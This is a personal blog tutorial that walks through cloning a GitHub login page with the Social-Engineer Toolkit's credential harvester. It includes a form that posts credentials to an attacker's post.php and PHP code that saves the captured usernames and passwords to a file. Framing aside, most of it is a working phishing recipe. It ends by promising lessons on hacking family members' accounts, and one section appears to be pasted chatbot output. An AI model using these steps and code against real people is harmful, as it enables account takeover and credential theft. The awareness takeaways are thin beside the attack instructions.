Phish like a Phisher, Defend like a Guardian.
This content focuses on hardening our security environment against one of the world’s most powerful attack vectors: SOCIAL ENGINEERING. I’ll be guiding you on how to create malicious webpages to test yourself (or family) and enhance your security posture.
Disclaimer: This is for educational purposes only.
My definition of Cybersecurity is: Intention
This blog is for everyone. Try it out for yourself, but remember not to hack others. As I mentioned, Cybersecurity is intention.
What do i need to phish like a phisher:
- Internet connectivity
- Kali Linux
- Mobile Phone
- Wireshark
- Good mind
That’s all that you will need to phish like a phisher. What about defend like a Guardian.
- Creativity
- Think outside the box
- Awareness.
Let’s GO
Before you start, grab your water or coffee beside you and relax, We are learning together!
Spin up your kali linux VM(Virtual Machine).
Now, navigate to your linux terminal.
We need to switch to the root user, which is a superuser, by typing the command sudo su
. This means 'superuser do' to switch to the root user. You may be prompted to enter a password, depending on your configuration setup
Is that all? No!
We need to use a tool called the Social-Engineer Toolkit (SET). A big shoutout to David Kennedy and his team for creating this amazing tool.
Type <setoolkit>
, hit Enter, and take a sip of water.
Hmm! What are your initial thoughts about this tool? Feel free to comment.
If you’re experiencing any issues with the tool, follow this link for installation guidance.
I won’t go into further detail about the options shown above. Remember, The tool is capable of doing things you might not consider.
Now, press ‘1’ on your keyboard and take a coffee break.
As I mentioned earlier, ‘The tool is capable of doing things you might not think of.’ Now, please press ‘2’ on your keyboard.’
We are selecting option “3” which is a Credential Harvester, because we want to phish like a phisher.
We are using option “2” this will be cloning any website login of your choice.
Just press the Enter key if you have your IP (Internet Protocol) address. Otherwise, type in your machine’s IP address
Choose any website, preferably a login page. In my case, I’ll use ‘https://github.com/login/'. Press Enter, and take a sip of water while you wait.
The information in the image is telling us the path to find our document. hit enter.
Now we need to spin up Wireshark to monitor the packet traffic and listen for information from our victim.
eth0 stands for ‘Ethernet 0,’ which refers to the connection you want to monitor. If you’re using Bluetooth or another address, simply double-click on the floating graph for eth0 and wait.”
Before you double click the eth0, Open browser of your choice in my case i’m using Mozilla Firefox.
In our browser URL (Uniform Resource Link) area, Type the IP address of your provided in the setoolkit terminal.
We are trying to think like a hacker at the same time we are creating awareness for everyone out there to be conscious of potential attack vector.
Let’s go back to wireshark to monitor our packets activities.
We’ll monitor our victim information submitted on the login page.
I can’t wait to phish the victim information.
The page was redirected to the real GitHub page.
Let’s dig out the information with Wireshark, type the information filter command <http> in the wireshark interface.
Right click on the POST packet.
Click on the Follow, There’s two option to select the TCP(Transmission Control Protocol) stream and HTTP (Hyper Text Transfer Protocol) stream. Click on the HTTP stream.
We have obtained the victim’s username and password.
Let’s quickly dive into secret code that help us capture the victim’s credentials.
View the page source, and you’ll see a series of codes. It may look messy, but I will teach you how to investigate it.
Now that you’re in the page source, press Ctrl + F on your keyboard. This command allows you to find specific text or words on the page or in the document.
I searched PHP, This is dreadful. Below is the code injected into the GitHub page. This form submits the credentials to post.php
, which presumably captures the information for storage on the server.
<form data-turbo="false" action="http://192. /post.php" method="post">
<input type="hidden" name="authenticity_token" value="OMWymZhkKrcBFQxfbIC1HCgNoPZiGmtf6KwmQp8hfiXUwy+p7n4YCKJ948/2n+Ka3JYF/vpbWwLusNOe5Vsgqg==" />
<input type="hidden" name="add_account" id="add_account" autocomplete="off" class="form-control" />
<label for="login_field">Username or email address</label>
<input type="text" name="login" id="login_field" class="form-control input-block" required />
<label for="password">Password</label>
<input type="password" name="password" id="password" class="form-control" required />
<input type="submit" name="commit" value="Sign in" class="btn btn-primary btn-block" />
</form>
If you are looking for how to save this information in a document or database on the server, you would need to modify the server-side script (in post.php
) to handle that task. Example you can write the submitted data to a file like this (in PHP)
<?php
$username = $_POST['login'];
$password = $_POST['password'];
// Save data to a text file
$file = 'credentials.txt';
$data = "Username: $username, Password: $password\n";
file_put_contents($file, $data, FILE_APPEND);
?>
Let’s compare the script on the real GitHub page
<form data-turbo="false" action="/session" accept-charset="UTF-8" method="post">
The file you uploaded contains HTML for a GitHub login page, but it does not include any reference to a post.php
file in its form actions. The form method is set to submit to /session
as seen here:
<form data-turbo="false" action="/session" accept-charset="UTF-8" method="post">
There is no mention of post.php
in the provided document. If you're looking to simulate sending credentials to a specific PHP file (like post.php
), you would need to modify the action
attribute of the form to point to post.php
instead. Here's an example of how it would look:
<form data-turbo="false" action="http://your-server-ip/post.php" accept-charset="UTF-8" method="post">
This would then submit the form data to post.php
on your server.
Yes, We are now a phisher.
Takeaway:
- Don’t just click a link.
- Verify the source.
“What do you think about my writing style?”
Clap for yourself, practice this…. In my next blog post i will teach how to do this in a real world scenarios which you’ll hack you family accounts and you’ll educate them. “Cybersecurity is Intention”
Don’t forget it’s your gUy — Abdul Basit Rotimi
follow me for more cybersecurity contents.